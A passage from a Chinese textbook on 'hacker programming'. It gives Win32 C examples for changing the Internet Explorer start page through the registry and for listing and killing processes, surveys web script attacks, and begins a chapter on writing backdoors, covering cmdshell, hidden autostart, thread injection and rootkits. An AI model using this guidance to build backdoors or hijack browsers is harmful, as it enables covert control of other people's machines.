if(lRet!=ERROR_SUCCESS)

{

printf("error no RegSetValueEx%s\n",ValueName);

return;

}

RegCloseKey(hKey);

}

int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int nCmdShow)

{

char StartPage[255]="http://www.sina.com/";//要修改成的网址

CreateStringReg(HKEY_CURRENT_USER,"Software\\Microsoft\\Internet Explorer\\Main","Start Page",StartPage);//调用修改字符串类型键值的函数

return 0;

}

运行上述程序，即可将本地计算机的IE主页设置为http://www.sina.com/。

3.2.4　进程和线程编程简介

进程是程序在计算机上的一次执行活动。当运行一个程序时，就启动了一个进程。在Windows系统下，进程又被细化为线程，也就是一个进程下有多个能独立运行的更小的单位。进程和线程是操作系统中最基本、最重要的概念。

1.进程编程

对进程常见的操作有列举进程、结束程序的进程，通过编程实现这两个功能的具体流程如图3-11所示。通过编程来实现对进程进行操作，先需要使用main函数接收不同的参数，该函数在前面已经介绍过，这里不再赘述。

图　3-11　对进程进行操作的流程

如果想实现列举进程的功能，则需要调用CreateToolhelp32napshot函数先得到系统进程快照的句柄，在调用该函数前必须先包括头文件tlhelp32.h。该函数的具体格式如下：

HANDLE_WINAPI CreateToolhelp32napshot(

DWORD dwFlags,

DWORD th32ProcessIP);

其中各个参数的具体作用如下。

dwFlags：该参数指定了获取系统进程快照的类型。

th32ProcessIP：该参数指向要获取进程快照的进程的ID，获取系统内所有进程快照时其值为0。

该函数调用的方法如下：

HANDLE hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

if(hProcessSnap==INVALID_HANDLE_VALUE)

{

printf("CreateToolhelp32Snapshot error");

return 0;

}

如果该函数调用成功则返回快照句柄，否则返回INVALID_HANDLE_VALUE。在得到系统进程快照句柄之后，就需要调用Process32First函数查找出系统进程快照中第一个进程。该函数的格式如下：

BOOT Process32First(

HANDLE hSnapshot,

LPROCESSENTRY32 lppe);

再调用Process32next函数列出系统中其他进程，其具体格式如下：

BOOT Process32next(

HANDLE hSnapshot,

LPROCESSENTRY32 lppe);

不难看出这两个函数包含的参数是一样的，其中hSnapshot参数是由CreateToolhelp32-napshot函数返回的系统进程快照的句柄；而lppe参数指向一个PROCESSENTRY的结构指针，进程信息会被返回到这个结构中。

PROCESSENTRY32结构可对进程作一个较为全面的描述，其定义如下：

typedef struct tagPROCESSENTRY32{

DWORD dwSize;//结构大小

DWORD cntUsage;//此进程的引用计数

DWORD th32ProcessID;//进程ID

DWORD th32DefaultHeapID;//进程默认堆ID

DWORD th32ModuleID;//进程模块ID

DWORD cntThreads;//此进程开启的线程计数

DWORD th32ParentProcessID;//父进程ID

LONG pcPriClassBase;//线程优先权

DWORD dwFlags;//保留

char szExeFile[MAX_PATH];//进程全名

}PROCESSENTRY32;

当上述两个函数枚举到进程时则返回TRUE，否则返回FALSE。当枚举到一个进程时lppe参数就会返回进程详细信息，所以用户就可以读取这些进程的信息，然后将其输出。

其实现代码如下：

PROCESSENTRY32 pe32;

pe32.dwSize=sizeof(pe32);

HANDLE hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//获得系统内所有进程快照

if(hProcessSnap==INVALID_HANDLE_VALUE)

{

printf("CreateToolhelp32Snapshot error");

return 0;

}

BOOL bProcess=Process32First(hProcessSnap,＆pe32);//枚举列表中的第一个进程

while(bProcess)

{

wsprintf(buff,"%s---------------%d\r\n",pe32.szExeFile, pe32.th32ProcessID);//格式化进程名和进程ID

printf(buff);//输出进程名和进程ID

memset(buff,0x00,1024);

bProcess=Process32Next(hProcessSnap,＆pe32);//继续枚举进程

}

在枚举进程完毕后，还需要调用CloseHandle函数关闭由CreateToolhelp32Snapshot函数返回的系统进程句柄，这样就可以实现列出系统进程功能。通过编程也可实现结束系统中某个进程，先调用OpenProcess函数打开进程，利用得到的进程句柄进行结束进程操作。

OpenProcess函数的格式如下：

HANDLE OpenProcess(

DWORD dwDesiredAccess,

BOOL bInheritHandle,

DWORD dwProcessId);

其中各个参数的作用如下。

dwDesiredAccess：进程对象的访问权限，当其值为PROCESS_ALL_ACCESS时表示所有权限；而其值为PROCESS_QUERY_INFORMATION表示遍历该进程信息的权限。

bInheritHandle：该参数的作用是返回进程句柄，true表示可继承，false表示不可继承。

dwProcessId：表示要打开进程对应的ID编号。

该函数的具体调用方法如下：

HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);//打开进程得到进程句柄

if(hProcess==NULL)

{

printf("OpenProcess error\n");

return 0;

}

如果该函数调用成功，则返回所有打开进程的句柄，否则返回NULL。在得到句柄后就可以通过TerminateProcess函数来结束指定的进程。该函数的具体格式如下：

BOOT TerminateProcess(

HANDLE hProcess,

UNIT uExitCode);

其中各个参数的具体含义如下。

hProcess：要结束进程的句柄，由OpenProcess函数返回。

uExitCode：该参数的作用是指定进程退出时的代码，一般设置为0。

如果该函数操作顺利完成，则返回非零值，如果操作失败则返回值为0。在操作结束后还需要调用CloseHandle函数关闭由OpenProcess函数返回的进程句柄。至此，就可以对进程实现列举和停止操作了。下面是列举本机中所有进程的实现代码：

#include"stdafx.h"

#include＜windows.h＞

#include＜stdio.h＞

#include＜string.h＞

#include＜tlhelp32.h＞

int KillProcess(DWORD Pid)

{

HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);//打开进程得到进程句柄

if(hProcess==NULL)

{

printf("OpenProcess error\n");

return 0;

}

if(TerminateProcess(hProcess,0))//结束进程

{

printf("结束进程成功\n");

return 0;

}

else

{

printf("结束进程失败\n");

return 0;

}

}

int GetProcess()

{

char buff[1024]={0};

PROCESSENTRY32 pe32;

pe32.dwSize=sizeof(pe32);

HANDLE hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//获得系统内所有进程

快照

if(hProcessSnap==INVALID_HANDLE_VALUE)

{

printf("CreateToolhelp32Snapshot error");

return 0;

}

BOOL bProcess=Process32First(hProcessSnap,＆pe32);//枚举列表中的第一个进程

while(bProcess)

{

wsprintf(buff,"%s---------------%d\r\n",pe32.szExeFile, pe32.th32ProcessID);//格式

化进程名和进程ID

printf(buff);//输出进程名和进程ID

memset(buff,0x00,1024);

bProcess=Process32Next(hProcessSnap,＆pe32);//继续枚举进程

}

CloseHandle(hProcessSnap);

return 0;

}

int main(int argc, char*argv[])

{

if(argc==2＆＆strcmp(argv[1],"list")==0)

{

GetProcess();

}

if(argc==3＆＆strcmp(argv[1],"kill")==0)

{

KillProcess(atoi(argv[2]));

}

return 0；}

在【命令提示符】窗口中将目录切换到上面文件所在的目录中，输入"process.exe list"命令，即可查看本机中所有进程以及对应的进程号，如图3-12所示。如果想结束其中的“QQ进程”，则运行"process.exe kill 464"命令即可，如图3-13所示。

图　3-12　查看本机中所有进程

图　3-13　结束QQ进程

2.线程编程

线程是进程中的一个实体，是被系统独立调度和分派的基本单位。一个进程可以拥有多个线程，一个线程必须有一个父进程。线程自己不拥有系统资源，只有运行必须的一些数据结构，但它可与同属一个进程的其他线程共享进程所拥有的全部资源。一个线程可以创建和撤销另一个线程，同一进程中的多个线程之间可以并发执行。

由于线程之间的相互制约，致使线程在运行中呈现出间断性。线程也有就绪、阻塞和运行三种基本状态。所以在一个进程中可以创建几个线程来提高程序的执行效率，并且有些程序还通过采用多线程技术来同时执行多个不同的代码模块。

可以通过编程的方法来实现创建线程，在C++中可以通过CreateThread函数在进程中创建一个新线程。该函数的具体格式如下：

HANDLE CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes,

DWORD dwStackSize,

LPTHREAD_START_ROUTINE lpStartAddress,

LPVOID lpParameter,

DWORD dwCreationFlags,

LPDWORD lpThreadId);

其中各个参数的具体含义如下：

lpThreadAttributes：指向SECURITY_ATTRIBUTES的指针，用于定义新线程的安全属性，一般设置为null。

dwStackSize：该参数的作用是分配以字节数表示的线程堆栈的大小，其默认值为NULL。lpStartAddress：指向一个线程函数地址。每个线程都有自己的线程函数。而线程函数是线程具体执行的代码。

lpParameter：传递给线程函数的参数。

dwCreationFlags：表示创建线程的运行状态，其中CREATE_SUSPEND表示挂起当前创建的线程，而0表示立即执行当前创建的线程。

lpThreadId：返回新创建线程对应的ID编号。

如果该函数调用成功，则返回新线程的句柄，调用WaitForSingleObject函数等待所创建线程的运行结束。该函数的具体格式如下：

DWORD WaitForSingleObject(

HANDLE hHandle,

DWORD dwMilliseconds);

其各个参数的作用如下：

hHandle：指定对象或事件的句柄。

dwMilliseconds：等待时间，以毫秒为单位，当超过等待时间时，此函数将返回。如果该参数设置为0，则该函数立即返回，如果设置为INFINITE，则该函数直到有信号才返回。

该函数的调用方法如下：

DWORD ThreadId;

HANDLE hThread=CreateThread(NULL, NULL, Thread, NULL,0,＆ThreadId);

If(hThread!=NULL)

WaitForSingleObject(hSemaphore, INFINITE);

如果返回值为WAIT_OBJECT_0，则表示指定的对象已经处于信号状态；如果返回值为WAIT_TIMEOUT，则表示在超时范围内，期望的事件没有发生。如果该函数调用失败，则返回WAIT_FAILED。

在一般情况下，创建一个线程是不能提高程序的执行效率的，所以要创建多个线程。但是多个线程同时运行的时候可能调用线程函数，在多个线程同时用同一个内存地址进行写入，由于CPU时间调度上的问题，写入的数据会被多次地覆盖，所以就要使线程同步。

即当有一个线程在对内存进行操作时，其他线程都不可以对这个内存地址进行操作，直到完成该操作其他线程才能对内存地址进行操作，而其他线程又处于等待状态。目前实现线程同步的方法很多，临界区对象就是其中一种。

临界区对象是定义在数据段中的一个CRITICAL_SECTION结构，Windows内部使用这个结构记录一些信息，确保在同一时间只有一个线程访问该数据段中的数据。

临界区的使用步骤如下：

（1）初始化一个CRITICAL_SECTION结构。在使用临界区对象之前，需要定义全局CRITICAL_SECTION结构变量，在调用CreateThread函数前调用InitializeCriticalSection(LPC RITICAL_SECTION lpCriticalSection)函数初始化临界区对象。

（2）申请进入一个临界区。在线程函数中要对保护的数据进行操作前，可以通过调用EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)函数申请进入临界区。由于在同一时间内，只允许一个线程进入临界区，所以在申请的时候如果有一个线程已经进入到临界区，则该函数就会一直等到那个线程执行完临界区代码。

（3）离开临界区。当执行完临界区代码后，需要调用LeaveCriticalSection(LPCRI TICAL_SECTION lpCriticalSection)函数把临界区交还给系统。

（4）删除临界区。当不需要临界区时可调用DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection)函数将临界区对象删除。

下面是一个多线程与线程同步的具体实现代码：

#include"stdafx.h"

#include＜windows.h＞

#include＜stdio.h＞

HANDLE hFile;

CRITICAL_SECTION cs;//定义临界区对象

DWORD WINAPI Thread(LPVOID lpParam)//写文件线程函数

{

int n=(int)lpParam;//得到是哪个线程

DWORD dwWrite;

for(int i=0;i＜10000;i++)

{//进入临界区

EnterCriticalSection(＆cs);

char Data[512]="---------by新起点---------\r\n-------------------http://www.netop01.cn-------------------";

WriteFile(hFile,＆Data, strlen(Data),＆dwWrite, NULL);//写入文件

LeaveCriticalSection(＆cs);//出临界区

}

printf("第%d号线程结束运行\n",n);//输出哪个线程运行结束

return 0;

}

int main(int argc, char*argv[])

{

hFile=CreateFile("C:\\hack.txt",GENERIC_WRITE,0,NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL);//创建文件

if(hFile==INVALID_HANDLE_VALUE)

{

printf("CreateFile Error\n");

return 0;

}

DWORD ThreadId;

HANDLE hThread[5];

InitializeCriticalSection(＆cs);//初始化临界区对象

for(int i=0;i＜5;i++)//创建5个线程

{

hThread[i]=CreateThread(NULL, NULL, Thread, LPVOID(i+1),0,＆ThreadId);

printf("第%d号线程创建成功\n",i+1);

}

WaitForMultipleObjects(5,hThread, true, INFINITE);//等待五个线程运行结束

DeleteCriticalSection(＆cs);//删除临界区对象

CloseHandle(hFile);//关闭文件句柄

return 0;

}

在【命令提示符】窗口中运行该程序即可同步创建多个线程，其运行结果如图3-14所示。

图　3-14　同步创建多个线程

3.3　网站脚本入侵与防范

无论企业还是个人都可以拥有自己的网站，目前网站已经成为交流沟通、展示个性、商业宣传等不可缺少的手段。同时黑客也把网站作为自己的攻击目标，虽然许多网站都做了很多安全工作，如安装防火墙、给系统打上补丁、安装安全检测系统，但还是不能有效地组织黑客攻击，其原因在于网站上各种Web应用程序的不安全性。

3.3.1　Web脚本攻击概述

许多黑客可以突破SSL加密和各种防火墙，攻击Web网站的内部，从而获得Web网站的客户保密资料，甚至控制整个网站的服务器。Web站点的默认服务端口是80，针对该端口的Web服务进行各种攻击的行为就是Web脚本攻击。

1.Web脚本攻击的特点

Web脚本攻击入侵，在网络上非常常见，其原因在于其特殊性。Web脚本攻击与其他攻击方式相比，其特殊性表现在如下5个方面：

（1）攻击目标众多。由于现在网络上存在着各种各样的网站，所以给Web脚本攻击者提供了众多的攻击目标。通过Web攻击的目标不仅仅是公司或政府等大型网站，还有各种个人网站。Web攻击可以存在于常见的Windows操作系统中，还可以存在于UNIX等众多类型操作系统的服务器上。可以说只要有网站存在，就可能存在Web脚本攻击。正是由于Web脚本攻击的目标众多，也导致了Web脚本攻击事件的频繁发生。

（2）危害严重。使用Web脚本攻击可以更改目标主页信息，导致网站服务无法正常进行；重者可以盗取网站用户的重要数据，造成整个网站瘫痪，从而可以控制整个网站服务器。由于网站服务器一般都是目标网络系统中比较重要的主机，所以在攻击整个网络时，Web攻击危害是很严重的。Web脚本攻击的严重性还体现在Web脚本攻击的简单性上。因为Web脚本攻击采用的手段往往比较简单，甚至一行简单的代码就可以让网站服务器被黑客攻击。同时网站管理员又忽略Web程序的安全漏洞，这使Web攻击比一般的工具更易进行。

（3）攻击方式多。由于使用不同的Web网站服务器、不同的开发语言，使网站存在不同的漏洞，所以使用Web脚本攻击方式也有很多种。如黑客可以从网站的文章系统、下载系统、留言板等部分进行攻击；也可以针对网站后台数据库进行攻击；还可以在网页中写入具有攻击性的代码；甚至可以通过图片进行攻击。

（4）难于防范。由于每个网站采用不同的Web程序，不同的网站存在的漏洞也不相同，所以很难采用统一的方式给网站进行修复漏洞、打补丁。与传统的入侵方式不同，Web脚本攻击不会在防火墙和系统日志中留下任何入侵痕迹，即使经验丰富的网络管理员也很难从网站日志中找到入侵者的踪迹。

（5）不易检测。传统的攻击方式，往往会由于目标主机安装防火墙而失效，但Web脚本攻击不受防火墙限制。其原因在于：Web脚本攻击的所有操作都是通过80端口进行的，而通过该端口的数据都是防火墙允许的，所以防火墙不会拦截Web脚本攻击。

同时黑客在Web脚本攻击后，往往会在网站中放置ASP或脚本木马作为后门，这些文件是很难被查毒软件进行查杀的。甚至在合法网页中插入一段隐蔽的代码，导致杀毒软件完全无法识别这些后门的存在。有的黑客直接修改网页源代码，取消某些密码验证等，使其可以自由进入网站服务器。

2.Web脚本攻击常见的方式

随着Web站点各种安全问题的不断出现，甚至一些攻击者还可以利用漏洞获得管理员的权限进入站点内部。许多攻击者还可以通过SSL加密和各种防火墙，攻入Web站点的内部，从而窃取信息。针对网站服务器80端口的Web服务进行的各种攻击行为就是Web攻击。Web攻击的方式很多，但最常见的Web攻击主要分为如下几种：

（1）注入攻击。注入攻击是攻击者通过Web应用传播恶意的代码到其他的系统上。这些攻击包括系统调用（通过shell命令调用外部程序）和后台数据库调用（通过SQL注入）。一些设计上有缺陷的Web应用中的Perl、Python和其他语言写的脚本（script）可能被恶意代码注入和执行。任何使用解释执行的Web应用都有被攻击的危险。

SQL注入漏洞的入侵是一种ASP+Access的网站入侵方式，通过注入点列出数据库里面管理员的账号和密码信息，猜解出网站的后台地址，再用账号和密码登录进去找到文件上传的地方，把ASP木马上传上去，获得一个网站的WEBSHELL。

（2）上传漏洞攻击。网站的上传漏洞是由于网页代码中的文件上传路径变量过滤不严格造成的，利用这个上传漏洞可以随意加上网页木马，连接上传的网页即可控制该网站系统。上传漏洞分为动力型和动网型两种。编程人员在编写网页时未对文件上传路径变量进行任何过滤，所以用户可以任意修改该变量值。针对文件上传路径变量未过滤进行上传就是动网型上传漏洞。动网型上传漏洞因为最先出现在动网论坛而得名，其危害性极大，使很多网站都遭受攻击。而动力上传漏洞是因为网站系统没有对上传变量进行初始化，在处理多个文件上传时，可以将ASP文件上传到网站目录中。所以上传漏洞攻击方式对网站安全危险很多，黑客可以直接上传ASP木马而得到一个WEBSHELL，从而控制整个网站的服务器。

（3）跨站攻击。跨站攻击是指入侵者在远程Web页面的HTML代码中插入具有恶意目的的数据，用户认为该页面是可信赖的，但当浏览器下载该页面，嵌入其中的脚本将被解释执行。由于HTML语言允许使用脚本进行简单交互，入侵者便通过技术手段在某个页面里插入一个恶意HTML代码，例如记录论坛保存的用户信息（Cookie）。由于Cookie保存了完整的用户名和密码资料，用户就会遭受安全损失。

跨站攻击最常见的方式是通过窃取Cookie或欺骗打开木马网页等，取得重要的资料；也可以直接在存在跨站漏洞的网站中写入脚本代码，在网站挂上木马网页等。

（4）数据库入侵。数据库入侵是利用默认数据库下载和暴库下载，在数据库中插入代码等通过网站程序进行的攻击。默认数据库下载漏洞是指许多网站在使用一些公开源代码的网站程序时，由于没有对数据库路径以及数据库文件名进行修改，使黑客可以直接下载或操作默认的数据库文件进行的攻击。暴库是指通过一些技术手段或者程序漏洞得到数据库的地址，并将数据非法下载到本地。黑客非常乐意于这种工作，为什么呢？因为黑客在得到网站数据库后，就能得到网站管理账号，对网站进行破坏与管理，黑客也能通过数据库得到网站用户的隐私信息，甚至得到服务器的最高权限。

（5）其他脚本攻击。网站服务器的漏洞主要集中在各种网页中，由于网页程序的编写不严谨，所以出现了各种脚本漏洞，如动网文件上传漏洞、Cookie欺骗漏洞等都是输入脚本漏洞攻击中的某种类型。除这几类常见的脚本漏洞外，还有一些专门针对某些网站程序出现的脚本程序漏洞，最常见的有用户对输入的数据过滤不严、网站源代码保留等。这些漏洞的利用需要用户有一定的编程基础，但现在网络上随时都有最新的脚本漏洞发布，也有专门的工具，大家可以使用这些工具完成攻击。

3.3.2　脚本漏洞的根源与防范

随着脚本漏洞的挖掘，黑客越来越猖狂，并且越来越低龄化和傻瓜化。各种Web应用程序之所以会出现攻击漏洞，其原因是多方面的，主要表现在如下两点。

1.程序语言自身的缺陷

由于用于网页设计的HTML语言，已远远不能满足各种交互式网页程序需要，所以ASP、ASPX、JSP、PHP等各种功能强大的网页语言相继出现。目前交互式网站功能越来越强大，但存在的安全漏洞也越来越多。

2.安全意识的缺乏

对Web脚本攻击的认识不足，缺乏相应的安全意识，是造成各种Web脚本攻击不断出现的原因之一。由于许多网页设计者追求美工创意以及相关功能的实现，而忽略网站的安全性，造成设计出来的网站存在着安全漏洞。

由于程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码时，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。网页程序源代码开放也可以带来安全问题。由于源代码开放，许多网页设计者会在已有程序基础上进行二次开发，或在自己的程序中借用某个网站的部分功能。如果被借用的程序本身存在安全漏洞，创建借鉴这些代码的网页就会继承源程序的漏洞，从而导致网页程序漏洞普遍存在。另外，在网页程序代码被公开后，一些黑客会有针对性地去阅读这些代码，从中找到程序的漏洞。

安全意识的缺乏，不仅是网页程序设计者的问题，还包括网页程序应用者以及服务商等。现在很多用户在浏览网站时，由于设置不周全或者其他原因，可能会造成应用中的漏洞。同时许多网站服务商，本身服务器的设置就存在问题，就可能引发网页程序的漏洞被黑客攻击。

因此，Web网页脚本安全问题应该是一个多方面的问题，所以无论网页程序员、网站管理员，还是网页浏览者都需要深入学习各种Web网页脚本攻击技术以及原因，同时采取防御措施，提高自己的安全意识和技术水平。

3.4　专家点拨

点拨1：在网络通信过程中，为什么要使用到套接字接口？

解答：应用层在通过传输层进行数据通信时，由于多个TCP连接或多个应用程序进程可能需要通过同一个TCP协议端口传输数据，为了区别不同的应用程序进程和连接，许多计算机操作系统为应用程序与TCP/IP协议交互提供了套接字（Socket）的接口。

点拨2：要确保Web站点的安全，通常都采取哪些措施？

解答：Web攻击相对于其他网络攻击方式显得更隐蔽，也更难防范。有时问题并不出在用户身上，而是由于网站的问题。即使装了防火墙，也对跨站攻击无能为力，因此防范跨站攻击需要从网站方面和个人用户方面两方面入手。此外，用户在不同的地方使用不同的密码，即使黑客通过攻击获取Cookie并破解出了密码原文，这样造成损失的也只是一个账户而已。

3.5　总结与经验积累

本章首先介绍了黑客常用的编程语言以及黑客与编程之间的联系；然后介绍了Windows系统编程，包括网络通信编程、文件操作编程、注册表编程以及进程和线程编程等；在本章的最后介绍了Web脚本攻击的特点、常见的攻击方式、脚本漏洞的根源。而当一个网站创建完成以后，如果服务器与用户有大量的交互程序，而编程者又没有足够的安全意识，网站的漏洞就会很多，这直接影响着网站的安全。

通过对本章的学习，可以使大家对黑客编程和各种Web攻击有个大概的了解。希望大家在今后的工作中，采取相应的措施来防御网站的攻击，从而保护数据安全。另外，还可以尝试着通过编程来实现特定的功能。

第4章
后门程序编程基础

重点提示

♂编写简单的cmdshell程序

♂编写简单的后门程序

♂实现自启动功能的编程技术

后门是一种登录系统的方法，它不仅绕过系统已有的安全设置，而且还能挫败系统上各种增强的安全设置。后门包括很多类型，如账号后门、系统服务后门等。简单的后门可能只是建立一个新账号，或接管一个很少使用的账号；复杂的后门（包括木马）可能会绕过系统的安全认证而对系统有安全存取权。

4.1　后门概述

在控制一台服务器后给其安装一个或多个后门，可实现对该服务器进行长期控制。例如，黑客可能使用密码破解一个或多个账号密码，可能会建立一个或多个账号。一个黑客可存取这个系统，黑客可能使用一些技术或利用系统的某个漏洞来提升权限。

黑客可能使用一些技术或利用系统的某个漏洞来提升权限。黑客可能会对系统的配置文件进行小部分的修改，以降低系统的防卫性能。也可能会安装一个木马程序，使系统打开一个安全漏洞，以利于黑客完全掌握系统。

1.后门的发展历史

任何事物都是不断发展的，后门也不例外。后门的发展主要体现在如下两个方面。

（1）功能上发展。最原始的后门只有一个cmdshell功能，随着黑客对后门要求不断提高，其功能也逐渐强大起来。winshell后门在增加了很多实用功能，如列举进行、结束进程等。在winshell之后的后门在功能上已经是趋于完善，拥有开启远程终端、克隆用户等功能，甚至有些后门还具有替换桌面的功能。

（2）隐蔽性上的发展。在后门功能发展的同时，黑客还需要考虑其生存能力。如果一个后门生存能力不强，则很容易被管理员发现，拥有多强大的功能也没用，所以后门的隐蔽性非常重要。后门程序的隐蔽性主要体现在自启动、连接、进程等方面的隐蔽性。

自启动的隐蔽性。在自启动方面，最初是利用注册表中的RUN项来实现的，但这种启动方法在“系统配置实用程序”中会很容易被发现，而且在没有用户登录的情况下是不会启动的。随后又出现服务启动，在用户没有登录的情况下也可以启动，这样隐蔽性就提高了。现在又相继出现ActiveX启动、SVChost.exe加载启动以及感染系统文件启动，还有API HOOK技术，可以实现在用户模式下无进程、无启动项、无文件启动。

连接上的隐蔽性。在连接上，最初是正向连接后门。后门监听一个端口，远程计算机对其进行连接。只要查看端口和程序的对应关系就可以很容易发现后门，所以这样后门的隐蔽性是非常弱的。在这种情况下，反向连接后门应运而生了，这类后门可以突破一些防火墙。

进程上的隐蔽性。当遇到对进程进行过滤的防火墙时，反向连接后门需要用到远程线程技术。在进程方面应用最多的是远程线程技术，先把后门写成一个.dll文件，通过远程线程函数注入其他进程，从而实现无进程。所以通过远程插入线程可突破对进程进行过滤的防火墙。另外，还有其他隐藏方法，如利用原始套接字的嗅探后门等。

2.后门的分类

后门可以按照很多方式来分类，标准不同自然分类就不同。为了便于理解，这里从技术方面将后门分为如下几种：

（1）网页后门。此类后门程序一般都是通过服务器上正常的Web服务来构造自己的连接方式，如现在非常流行的ASP、CGI脚本后门等。现在国内入侵的主流趋势是先利用某种脚本漏洞上传脚本后门，浏览服务器内安装的程序，找到提升权限的突破口，进而拿到服务器的系统权限。

（2）线程插入后门。这种后门在运行时没有进程，所有网络操作均在其他应用程序的进程中完成。即使客户端安装的防火墙拥有“应用程序访问权限”的功能，也不能对这样的后门进行有效的警告和拦截。

（3）扩展后门。扩展后门就是将非常多的功能集成到了后门里，让后门本身就可以实现多种功能，从而方便直接控制“肉鸡”或服务器。这类后门非常受初学者的喜爱，通常集成了文件上传/下载、系统用户检测、HTTP访问、终端安装、端口开放、启动/停止服务等功能。所以其本身就是一个小的工具包，功能强大。

（4）C/S后门。传统的木马程序常常使用C/S构架，这样的构架很方便控制，也在一定程度上避免了“万能密码”的情况出现。而C/S后门和传统的木马程序类似的控制方法，即采用“客户端/服务端”的控制方式，通过某种特定的访问方式来启动后门进而控制服务器。

（5）root kit。很多人都认为root kit是获得系统root访问权限的工具，而实际上是黑客用来隐蔽自己的踪迹和保留root访问权限的工具。通常，攻击者通过远程攻击获得root访问权限，进入系统后，攻击者会在侵入的主机中安装root kit，再将经常通过root kit的后门检查系统是否有其他的用户登录，如果只有自己，攻击者就开始着手清理日志中的有关信息。如果存在其他用户，则通过root kit的嗅探器获得其他系统的用户和密码后，攻击者就会利用这些信息侵入其他计算机。

4.2　编写简单的cmdshell程序

shell是指用户与操作系统对话的一个接口，我们发出一个命令，通过shell告诉系统让系统执行黑客的指令。而SHELL前面加个前缀"CMD"则表示这个shell的类型为"CMD"，类似于平常所说的"WEBSHELL"，就是通过WEB向服务器发送命令。

在cmdshell中可以执行所有的cmd命令，可以将其看作一个通过本地的Telnet来输入命令，而在远程主机cmd上执行，再返回命令指向执行结果的过程，如图4-1所示。

从图4-1中不难看出：cmdshell由两个不同的通信过程，如果要实现cmdshell就必须解决这两个通信问题。先是后门和cmd之间的通信，这个过程可以使用管道技术来实现。而另一个通信是跨越计算机的网络通信，这个过程可以由Winsock编程来实现。

图　4-1　cmdshell执行命令的过程

4.2.1　管道通信技术简介

管道是连接读写进程的一个特殊文件，允许进程按先进先出方式传送数据，也能使进程同步执行操作。发送进程以字符流形式把大量数据送入管道，接收进程从管道中接收数据，所以叫管道通信。

管道的实质是一个共享文件，基本上可借助于文件系统的机制实现，包括（管道）文件的创建、打开、关闭和读写。进程对通信机构的使用应该互斥，一个进程正在使用某个管道写入或读出数据时，另一个进程就必须等待。发送者和接收者双方必须能够知道对方是否存在，如果对方已经不存在，就没有必要再发送信息。管道长度有限，发送信息和接收信息之间要实现正确的同步关系，当写进程把一定数量的数据写入管道，就去睡眠等待，直到读进程取走数据后，把它唤醒。管道分为匿名管道和命令管道两种，其具体介绍如下：

匿名管道（Anonymous Pipes）是在父进程和子进程间单向传输数据的一种未命名的管道，只能在本地计算机中使用，而不可用于网络间的通信。

命名管道是一种简单的进程间通信（IPC）机制，可在同一台计算机的不同进程之间，或在跨越一个网络的不同计算机的不同进程之间、支持可靠的、单向或双向的数据通信。

在编写后门程序的时候用到的是匿名管道，所以这里只介绍匿名管道。该种管道的通信过程如图4-2所示。

图　4-2　匿名管道的通信过程

由于匿名管道是单向的，所以数据传递的方向只能是图4-2中箭头的方向。匿名管道由CreatePipe函数创建，该函数在创建匿名管道的同时返回两个句柄：管道读句柄和管道写句柄。CreatePipe的函数具体格式为：

BOOL CreatePipe(

PHANDLE hReadPipe,//指向读句柄的指针

PHANDLE hWritePipe,//指向写句柄的指针

LPSECURITY_ATTRIBUTES lpPipeAttributes,//指向安全属性的指针

DWORD nSize//管道大小

);

其中各个参数的含义如下。

hReadPipe：该参数指向一个管道的读句柄。

hWritePipe：该参数指向一个管道的写句柄。

lpPipeAttributes：指向一个SECURITY_ATTRIBUTES结构，用于指定返回的句柄是否可以被子进程继承。该结构的具体格式如下。

typedef struct_SECURITY_ATTRIBUTES{

DWORD nLength;//结构体的大小

LPVOID lpSecurityDescriptor;//安全描述符

BOOL bInheritHandle;//安全描述的对象是否可以被新创建的进程继承

}SECURITY_ATTRIBUTES;

nSize：该参数的作用是指定管道缓冲区的大小，如果为0则采用默认缓冲区的大小。

通过hReadPipe和hWritePipe所指向的句柄可分别以只读、只写的方式去访问管道。在使用匿名管道通信时，服务器进程必须将其中的一个句柄传送给客户机进程。句柄的传递多通过继承来完成，服务器进程也允许这些句柄为子进程所继承。此外，进程也可通过诸如DDE或共享内存等形式的进程间通信将句柄发送给与其不相关联的进程。

在调用CreatePipe函数时，如果管道服务器将lpPipeAttributes指向的SECURITY_ATTRIBUTES数据结构的数据成员bInheritHandle设置为TRUE，则CreatePipe函数创建的管道读、写句柄将会被继承。管道服务器可调用DuplicateHandle函数改变管道句柄的继承。管道服务器可以为一个可继承的管道句柄创建一个不可继承的副本或为一个不可继承的管道句柄创建一个可继承的副本。CreateProcess函数还可使管道服务器有能力决定子进程对其可继承句柄是全部继承还是不继承。

在生成子进程之前，父进程先调用Win32 API SetStdHandle函数使子进程、父进程可共用标准输入、标准输出和标准错误句柄。当父进程向子进程发送数据时，用SetStdHandle将管道的读句柄赋予标准输入句柄；在从子进程接收数据时，则用SetStdHandle函数将管道的写句柄赋予标准输出（或标准错误）句柄。然后，父进程可以调用进程创建函数CreateProcess生成子进程。如果父进程要发送数据到子进程，父进程可调用WriteFile函数将数据写入到管道（传递管道写句柄给函数），子进程则调用GetStdHandle函数取得管道的读句柄，将该句柄传入ReadFile函数后从管道读取数据。

如果是父进程从子进程读取数据，则由子进程调用GetStdHandle函数取得管道的写入句柄，并调用WriteFile函数将数据写入到管道。然后，父进程调用ReadFile函数从管道读取出数据（传递管道读句柄给函数）。在用WriteFile函数向管道写入数据时，只有在向管道写完指定字节的数据后或在有错误发生时函数才会返回。若管道缓冲已满而数据还没有写完，WriteFile将要等到另一进程对管道中数据读取，以释放出更多可用空间后才能够返回。管道服务器在调用CreatePipe创建管道时，以参数nSize对管道的缓冲大小作了设定。

匿名管道并不支持异步读、写操作，也就意味着不能在匿名管道中使用ReadFileEx和WriteFileEx函数，而且ReadFile和WriteFile函数中的lpOverLapped参数也将被忽略。匿名管道将在读、写句柄都被关闭后退出，也可以在进程中调用CloseHandle函数来关闭此句柄。

下面就是创建匿名管道的具体代码：

